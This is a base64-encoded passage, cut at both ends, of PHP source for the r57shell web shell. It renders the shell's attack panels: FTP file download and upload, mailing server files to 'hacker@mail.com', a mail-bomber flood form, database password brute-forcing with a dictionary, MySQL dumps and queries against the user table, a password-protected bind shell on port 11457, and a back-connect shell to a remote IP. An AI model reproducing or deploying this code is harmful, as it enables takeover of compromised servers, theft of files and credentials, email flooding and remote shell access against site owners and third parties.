Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CgplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg3J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3NlcnZlcl9wb3J0JywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pPygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9wYXNzd29yZCcsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKT8oJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9maWxlJywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV9kb3duJykpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMjAsJGRpcikpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1mdHBfbW9kZT48b3B0aW9uPkZUUF9CSU5BUlk8L29wdGlvbj48b3B0aW9uPkZUUF9BU0NJSTwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOwoKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDAnXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9sb2dpbiddKT8oJF9QT1NUWydmdHBfbG9naW4nXSk6KCJhbm9ueW1vdXMiKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3Bhc3N3b3JkJywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pPygkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDIwLCRkaXIpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2ZpbGUnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfZmlsZSddKT8oJF9QT1NUWydmdHBfZmlsZSddKTooIi9mdHAtZGlyL2ZpbGUiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9maWxlX3VwJykpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1mdHBfbW9kZT48b3B0aW9uPkZUUF9CSU5BUlk8L29wdGlvbj48b3B0aW9uPkZUUF9BU0NJSTwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7CgplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7Cn0KCgppZihAZnVuY3Rpb25fZXhpc3RzKCJtYWlsIikpewplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDInXSwnaWQzNScpLiR0YWJsZV91cDIuZGl2KCdpZDM1JykuJHRzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMyddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsMzAsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJywzMCwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc3ViaicsMzAsKCFlbXB0eSgkX1BPU1RbJ3N1YmonXSk/KCRfUE9TVFsnc3ViaiddKTooImhlbGxvIGJpbGx5IikpKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwOCddLiRhcnJvdy4iPC9iPiIsJzx0ZXh0YXJlYSBuYW1lPXRleHQgY29scz0yMiByb3dzPTI+Jy4oIWVtcHR5KCRfUE9TVFsndGV4dCddKT8oJF9QT1NUWyd0ZXh0J10pOigibWFpbCB0ZXh0IGhlcmUiKSkuJzwvdGV4dGFyZWE+Jyk7CmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTUnXSkpOwoKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDQnXS4iPC9kaXY+PC9iPjwvZm9udD4iOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndG8nLDMwLCghZW1wdHkoJF9QT1NUWyd0byddKT8oJF9QT1NUWyd0byddKTooImhhY2tlckBtYWlsLmNvbSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWFpbF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJywzMCwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc3ViaicsMzAsKCFlbXB0eSgkX1BPU1RbJ3N1YmonXSk/KCRfUE9TVFsnc3ViaiddKTooImZpbGUgZnJvbSByNTdzaGVsbCIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMzAsJGRpcikpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MSddLiRhcnJvdy4iPC9iPiIsaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ25vbmUnLDEpLicgJy4kYXJoKTsKZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNSddKSk7CgplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzOSddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsMzAsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsX2JvbWJlcicpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnJvbScsMzAsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJvbSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1YmonLDMwLCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJoZWxsbyBiaWxseSIpKSkpOwplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDgnXS4kYXJyb3cuIjwvYj4iLCc8dGV4dGFyZWEgbmFtZT10ZXh0IGNvbHM9MjIgcm93cz0xPicuKCFlbXB0eSgkX1BPU1RbJ3RleHQnXSk/KCRfUE9TVFsndGV4dCddKTooImZsb29kIHRleHQgaGVyZSIpKS4nPC90ZXh0YXJlYT4nKTsKZWNobyBzcigyNSwiPGI+Rmxvb2QiLiRhcnJvdy4iPC9iPiIsaW4oJ2ludCcsJ21haWxfZmxvb2QnLDUsKCFlbXB0eSgkX1BPU1RbJ21haWxfZmxvb2QnXSk/KCRfUE9TVFsnbWFpbF9mbG9vZCddKToxMDApKS53cyg0KS4iPGI+U2l6ZShrYikiLiRhcnJvdy4iPC9iPiIuaW4oJ2ludCcsJ21haWxfc2l6ZScsNSwoIWVtcHR5KCRfUE9TVFsnbWFpbF9zaXplJ10pPygkX1BPU1RbJ21haWxfc2l6ZSddKToxMCkpKTsKZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNSddKSk7CgplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7Cn0KCgppZigkbXlzcWxfb258fCRtc3NxbF9vbnx8JHBnX29ufHwkb3JhX29uKQp7CiRzZWxlY3QgPSAnPHNlbGVjdCBuYW1lPWRiPic7CmlmKCRteXNxbF9vbikgJHNlbGVjdCAuPSAnPG9wdGlvbj5NeVNRTDwvb3B0aW9uPic7CmlmKCRtc3NxbF9vbikgJHNlbGVjdCAuPSAnPG9wdGlvbj5NU1NRTDwvb3B0aW9uPic7CmlmKCRwZ19vbikgICAgJHNlbGVjdCAuPSAnPG9wdGlvbj5Qb3N0Z3JlU1FMPC9vcHRpb24+JzsKaWYoJG9yYV9vbikgICAkc2VsZWN0IC49ICc8b3B0aW9uPk9yYWNsZTwvb3B0aW9uPic7CiRzZWxlY3QgLj0gJzwvc2VsZWN0Pic7CgplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MiddLCdpZDM2JykuJHRhYmxlX3VwMi5kaXYoJ2lkMzYnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM0J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgwJ10uJGFycm93LiI8L2I+Iiwkc2VsZWN0LmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfYnJ1dGUnKSk7CmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkYl9zZXJ2ZXInLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfZGInLDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpKTsKZWNobyBzcigyNSwiIixpbigncmFkaW8nLCdicnV0ZV9tZXRob2QnLDAsJ3Bhc3N3ZCcsMSkuIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk5J10uIiAoIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3VzZXJzPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk1J10uIjwvYT4gKTwvZm9udD4iKTsKZWNobyBzcigyNSwiIixpbignY2hlY2tib3gnLCdyZXZlcnNlIGlkPXJldmVyc2UnLDAsJzEnLDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDEnXSk7CmVjaG8gc3IoMjUsIiIsaW4oJ3JhZGlvJywnYnJ1dGVfbWV0aG9kJywwLCdkaWMnLDApLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzUnXSk7CmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2wnLDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2wnXSk/KCRfUE9TVFsnbXlzcWxfbCddKTooInJvb3QiKSkpKTsKZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpY3Rpb25hcnknLDAsKCFlbXB0eSgkX1BPU1RbJ2RpY3Rpb25hcnknXSk/KCRfUE9TVFsnZGljdGlvbmFyeSddKTooJGRpci4nL3Bhc3N3LmRpYycpKSkpOwplY2hvIHNyKDM1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOwoKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MyddLiI8L2Rpdj48L2I+PC9mb250PiI7CgplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdCk7CmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkYl9zZXJ2ZXInLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4nIDogJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfbCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnbXlzcWxfcCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfcCddKT8oJF9QT1NUWydteXNxbF9wJ10pOigicGFzc3dvcmQiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfZGInLDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpLicgPGI+LjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3RibCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfdGJsJ10pPygkX1BPU1RbJ215c3FsX3RibCddKTooInVzZXIiKSkpKTsKZWNobyBzcigzNSxpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ215c3FsX2R1bXAnKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDEnXS4kYXJyb3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ2RpZiBpZD1kaWYnLDAsJzEnKS5pbigndGV4dCcsJ2RpZl9uYW1lJywxNywoIWVtcHR5KCRfUE9TVFsnZGlmX25hbWUnXSk/KCRfUE9TVFsnZGlmX25hbWUnXSk6KCJkdW1wLnNxbCIpKSkpOwplY2hvIHNyKDM1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDknXSkpOwoKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MyddLiI8L2Rpdj48L2I+PC9mb250PiI7CgplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdCk7CmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkYl9zZXJ2ZXInLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDgsKCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4nIDogJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfbCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnbXlzcWxfcCcsOCwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfcCddKT8oJF9QT1NUWydteXNxbF9wJ10pOigicGFzc3dvcmQiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbXlzcWxfZGInLDgsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpKTsKZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODQnXS4kYXJyb3cuIjwvYj4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfcXVlcnknKSwiIik7CmVjaG8gJHRlLiI8ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+PHRleHRhcmVhIGNvbHM9MzAgcm93cz00IG5hbWU9ZGJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVlcnknXSk/KCRfUE9TVFsnZGJfcXVlcnknXSk6KCJTSE9XIERBVEFCQVNFUztcblNIT1cgVEFCTEVTO1xuU0VMRUNUICogRlJPTSB1c2VyO1xuU0VMRUNUIHZlcnNpb24oKTtcblNFTEVDVCB1c2VyKCk7IikpLiI8L3RleHRhcmVhPjxicj4iLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkuIjwvZGl2PiI7CgplY2hvICI8L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsKfQoKCgppZighJHNhZmVfbW9kZSAmJiAkdW5peCl7CmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgxJ10sJ2lkMzcnKS4kdGFibGVfdXAyLmRpdignaWQzNycpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0yNSU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncG9ydCcsMTAsJzExNDU3JykpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdiaW5kX3Bhc3MnLDEwLCdyNTcnKSk7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPlBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiQ1wiPkM8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOwplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDMnXSkpOwplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTI1JT4iLiR0czsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaXAnLDE1LCgoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA/IChnZXRlbnYoJ1JFTU9URV9BRERSJykpIDogKCIxMjcuMC4wLjEiKSkpKTsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncG9ydCcsMTUsJzExNDU3JykpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5DPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsKZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ0J10pKTsKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0yNSU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMiddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLid